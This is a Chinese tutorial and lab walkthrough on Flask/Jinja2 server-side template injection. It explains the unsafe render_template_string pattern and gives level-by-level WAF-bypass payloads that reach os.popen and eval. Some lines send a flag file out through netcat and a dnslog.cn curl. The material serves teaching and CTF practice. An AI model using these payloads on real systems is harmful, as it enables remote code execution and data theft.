flask采用装饰器来指定路由,默认的模板渲染引擎为Jinja2。其中模板的三种主要语法为
下面这段代码中/study
指定了127.0.0.1:5000/study
的请求由study视图函数处理,路由中可以自己添加规则/study/
那么访问/study/kit
时name在服务端就会被赋值为kit。返回内容可以选择直接返回一个字符串
@app.route('/study/' )
def study(name):
return "Hello %s" % name
除了直接返回字符串还可以通过render_template
函数指定一个模板内容进行渲染返回
templates:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>study</title>
</head>
<body>
{
{
data }}
</body>
</html>
@app.route('/study')
def study():
return render_template("study.html", data="Hello World")
而函数返回了study.html的内容。由于模板中有{ { data }}
,且返回函数中指定了data为Hello World所以最后返回的结果为
除了上述两个返回的形式以外还有一个返回函数为render_template_string
与render_template
不同之处在于该函数传入一个字符串而不是一个模板文件,这个函数也是与SSTI漏洞息息相关的一个函数,下面用两种写法来看一下渲染的不同。
@app.route('/xss/' )
def xsstese(payload):
# 1.字符串中插入用户输入的内容
html = " %s
" % payload
return render_template_string(html)
# 2.利用函数来插入用户输入的内容
html = " {
{ data }}
"
return render_template_string(html, data=payload)
第一种输入XSS payload会弹窗,而第二种不会
第一种返回内容:
第二种返回内容:
可以看出如果采用函数去动态渲染会自动对内容做html实体转义
而如果传入一个模板语法的内容如{ { 49 }}
,第一种渲染结果为49而第二种为{ { 7*7 }}
,看到49其实漏洞的产生原因就已经很明确了,服务端采用了render_template_string
不安全的返回写法,导致了用户可以传入模板语言从而导致任意代码执行等问题。如传入{ { config }}
通过上文对不安全的render_template_string
函数的写法已经大概明白了SSTI产生的原因,接下来看下SSTI中如何构造攻击链。
构造攻击链主要可以通过寻找命令执行api
和文件读取api
两个方向进行。
首先了解一下python中常见的魔法函数
__class__ 返回类型所属的对象(类)
// 寻找基类的办法
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// 找到object后 执行函数的方法
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
下面通过一些内置对象完成这一整条攻击链
(实验环境为python 3.7与python2环境找攻击链略有不同 不过整体思路没有太大差异)
"".__class__ # 获得自身类
"".__class__.__mro__ # 获得基类(, )
"".__class__.__mro__[1].__subclasses__() # 获得大量子类
<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
......
接下来要在这些子类中寻找到全局模块包含os库的目标子类
首先解释下如何获得全局命名空间的内容
if __name__ == '__main__':
def hello():
import os
os.system("dir")
a = "全局变量a"
class TestC:
def __init__(self):
print("创建了Test类")
def testfunction(self):
print("类内置的函数")
os.system("echo hello world")
看这个例子,分别定义了一个类,一个函数,和一个变量,最后执行os库中的system函数,很容易可以看出这样执行会爆出错误,因为os是在hello函数的局部作用域中引入的,全局作用域中是无法直接执行的,那么我们的问题是如何通过testC
这个类来执行hello
函数呢
global_dic = TestC.__init__.__globals__
for key in list(global_dic):
print(key)
__name__
__doc__
__package__
__loader__
__spec__
__annotations__
__builtins__
__file__
__cached__
hello
a
TestC
global_dic
可以看到除了加载器自动加载的模块外还有变量a 函数hello等
global_dic = TestC.__init__.__globals__['hello']()
通过调取global命名空间的hello函数即可完成调用os.system('dir')
的目的
接下来继续看刚才拿到的子类,我们可以通过遍历subclass.__init__.__globals__
中的模块来寻找含有os模块的子类。
object_subclass = "".__class__.__mro__[1].__subclasses__()
for i in range(len(object_subclass)):
try:
global_dic = object_subclass[i].__init__.__globals__
for key in list(global_dic):
if "os" == key or "_os" == key:
print("index : {0} subclassName : {1} key : {2}".format(i, global_dic['__name__'],key))
except:
pass
通过上面的脚本可以得到一部分目标子类,最后即可执行os的system函数从而执行系统命令
target_class = subclass[91]
target_class.__init__.__globals__['_os'].system("dir")
连在一起
"".__class__.__mro__[1].__subclasses__()[91].__init__.__globals__['_os'].system("dir")
攻击链的构造多种多样还有通过flask本身的内置函数以及对象构造,以及利用内置命名空间__builtins__
来构造,接下来通过一个靶场来看下在不同过滤情况下的构造思路。
1.首先寻找基类
fuzz后下图的payload都可以找到object基类
2.寻找符合条件的子类
{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}
3.利用WarningMessage的__bulitins__
执行代码
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}
也可以通过内置对象的全局空间,然后利用__bulitin__
或os
模块执行
找到__bulitins__后与上述构造相同
{
{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}
通过config也可以构造这条链
{
{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}
以及lipsum函数的攻击链
{
{lipsum.__globals__['os'].popen('type flag').read()}}
上面第一种寻找基类再寻找子类的构造方法只用到了{% %}
,可以直接使用
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}
或者不采用{ {}}
来展示数据,使用{% print %}
{% print url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()") %}
没有waf,通过vps监听或者dns解析记录可以得到数据
vps监听
{
{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag|nc ip').read()")}}
dns记录
{
{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('curl http://`cat flag`.dq80ni.dnslog.cn').read()")}}
构造中一般利用[]
从字典中提取key的值,除了[]
外还可以采用__getitem__
提取
{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__init__.__globals__.__getitem__("__builtins__").__getitem__("eval")('__import__("os").popen("type flag").read()') %}{% endif %}{% endfor %}
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}
过滤单双引号意味着无法指定key值,可以采用传入参数的形式来替代要使用的字符串。flask中request对象可以提取出用户传入参数
内置函数url_for
{
{url_for.__globals__.__getitem__(request.cookies.p1).eval(request.cookies.p2)}}
Cookie:p1=__builtins__;p2=__import__('os').popen('type flag').read()
所有的魔术方法都采用attr过滤器+request传值的方式获取
config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()
对上面的payload进行变形 以.
分割把所有带有_
转换为attr过滤器从request中取值
Cookie:class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;
{
{config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)("os")|attr("popen")("type flag")|attr("read")()}}
与上面一关相同把.
换为attr过滤器
{
{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type flag")|attr("read")()}}
waf: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
采用拼接构造
{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('type flag')["re""ad"]()%}{%endif%}{%endfor%}
如果采用WarningMessage那条链暂时没想到('__import__("os").popen("type flag").read()')
怎么替换
直接用第一关的payload打
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}
禁止了内置对象config,同上
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}
waf:
[’\’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
{ {lipsum.__globals__['os'].popen('type flag').read()}}
采用lipsum这个内置函数的攻击链来构造
首先把所有的.
替换为attr过滤器
{
{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("type flag")|attr("read")()}}
接下来替换所有的双引号
可以通过set
设置变量的方法搭配join
过滤器
构造的基本知识
1 通过set可以给字符串赋值,通过dict和join可以获得绕过引号获取字符串
{% set r=dict(read=1)|join %}{ {r}}
可以将变量r 赋值为 read
2 { {lipsum|string|list}}
可以获得一个列表
[’<’, ‘f’, ‘u’, ‘n’, ‘c’, ‘t’, ‘i’, ‘o’, ‘n’, ’ ', ‘g’, ‘e’, ‘n’, ‘e’, ‘r’, ‘a’, ‘t’, ‘e’, ‘’, ‘l’, ‘o’, ‘r’, ‘e’, ‘m’, '’, ‘i’, ‘p’, ‘s’, ‘u’, ‘m’, ’ ', ‘a’, ‘t’, ’ ', ‘0’, ‘x’, ‘0’, ‘0’, ‘0’, ‘0’, ‘0’, ‘1’, ‘A’, ‘F’, ‘D’, ‘D’, ‘9’, ‘9’, ‘2’, ‘A’, ‘6’, ‘8’, ‘>’]
通过pop
取出对应下表的值就可以获得需要的字符,例如第十八位可以获得下划线
{ {(lipsum|string|list).pop(18)}} --> _
构造过程
1.替换仅包含字母的字符串
{% set read=dict(read=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set get=dict(get=1)|join%}
{% set os=dict(os=1)|join%}
{
{lipsum|attr("__globals__")|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
2.构造__globals__
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{
{lipsum|attr(global)|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
3.构造命令
{% set type=dict(type=1)|join %}
{% set flag=dict(flag=1)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9) %}
{% set cmd=(type,space,flag)|join%}
最终payload
{
{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}
waf:
bl[’_’, ‘.’, ‘0-9’, ‘\’, ‘’’, ‘"’, ‘[’, ‘]’]
比上一关多过滤了数字
可以通过index函数去从列表中获得指定字符串的下标,从而获得数字
从上关的payload可以看出来需要9和18两个数字,来获得下划线和空格
1.获得数字 3 和 2
{% set index=dict(index=a)|join %}
// n下标为3 u下标为2
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
2.获得下划线和空格
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
3.最终的payload
{% set read=dict(read=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set os=dict(os=a)|join%}
{% set pop=dict(pop=a)|join %}
{% set index=dict(index=a)|join %}
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set global=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set type=dict(type=a)|join %}
{% set flag=dict(flag=a)|join %}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
{%set cmd=(type,space,flag)|join%}
{
{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}
waf
bl[’_’, ‘.’, ‘\’, ‘’’, ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]
过滤了几个关键字
与level12用相同的payload
找基类的常见payload:
1.通过内置对象
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
2.通过flask
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]
找可以利用的子类
python3 一些利用类
index : 75 subclassName : _ModuleLock key : __builtins__
index : 76 subclassName : _DummyModuleLock key : __builtins__
index : 77 subclassName : _ModuleLockManager key : __builtins__
index : 78 subclassName : _installed_safely key : __builtins__
index : 79 subclassName : ModuleSpec key : __builtins__
index : 91 subclassName : FileLoader key : __builtins__
index : 91 subclassName : FileLoader key : _os
index : 92 subclassName : _NamespacePath key : __builtins__
index : 92 subclassName : _NamespacePath key : _os
index : 93 subclassName : _NamespaceLoader key : __builtins__
index : 93 subclassName : _NamespaceLoader key : _os
index : 95 subclassName : FileFinder key : __builtins__
index : 95 subclassName : FileFinder key : _os
index : 103 subclassName : IncrementalEncoder key : __builtins__
index : 104 subclassName : IncrementalDecoder key : __builtins__
index : 105 subclassName : StreamReaderWriter key : __builtins__
index : 106 subclassName : StreamRecoder key : __builtins__
index : 128 subclassName : _wrap_close key : __builtins__
index : 129 subclassName : Quitter key : __builtins__
index : 130 subclassName : _Printer key : __builtins__
index : 137 subclassName : DynamicClassAttribute key : __builtins__
index : 138 subclassName : _GeneratorWrapper key : __builtins__
index : 139 subclassName : WarningMessage key : __builtins__
index : 140 subclassName : catch_warnings key : __builtins__
index : 167 subclassName : Repr key : __builtins__
index : 174 subclassName : partialmethod key : __builtins__
index : 176 subclassName : _GeneratorContextManagerBase key : __builtins__
index : 177 subclassName : _BaseExitStack key : __builtins__
Process finished with exit code 0
python2
index : 59 subclassName : WarningMessage key : __builtins__
index : 60 subclassName : catch_warnings key : __builtins__
index : 61 subclassName : _IterationGuard key : __builtins__
index : 62 subclassName : WeakSet key : __builtins__
index : 72 subclassName : _Printer key : __builtins__
index : 72 subclassName : _Printer key : os
index : 77 subclassName : Quitter key : __builtins__
index : 77 subclassName : Quitter key : os
index : 78 subclassName : IncrementalEncoder key : __builtins__
index : 79 subclassName : IncrementalDecoder key : __builtins__
找子类模板语句
{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}
找指定子类模板语句
{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__name__ %}{% endif %}{% endfor %}
两种命令执行
# os类型子类
target_class.__init__.__globals__['_os'].system("dir")
# __builtins__类型子类
target_class.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()
命令执行payload:
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}
内置对象的payload
config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()
{ {url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}
{ {lipsum.__globals__['os'].popen('type flag').read()}}
参考文章:
https://www.cnblogs.com/-chenxs/p/11971164.html
Github SSTI靶场 wp